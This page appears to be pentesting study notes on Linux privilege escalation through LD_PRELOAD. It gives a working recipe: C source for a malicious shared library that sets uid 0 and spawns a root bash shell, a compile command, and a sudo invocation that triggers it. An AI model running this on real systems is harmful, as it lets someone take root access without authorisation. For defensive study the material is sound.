# LD\_PRELOAD

Pre-loading is a feature of LD (Dynamic Linker) which is available on most UNIX systems. This can be exploited by loading a custom library of our choice (as root) before loading a different library

```
sudo -l
```

<figure><img src="/files/IiOL3TtJBlRHGe0LYexg" alt=""><figcaption></figcaption></figure>

Create a  the malicious library in C

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

Code Breakdown:

* Including **standardio, sys/types** and **standard libraries**
* Unset the **LD\_PRELOAD** environment variable&#x20;
* Set the **gid** and **uid** to **0** (which is root)
* Then we want to execute **/bin/bash** as **root** (0)

Compile

```
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

Use LD\_PRELOAD and another command that we can run as root

```
sudo LD_PRELOAD=/tmp/shell.so iftop
```


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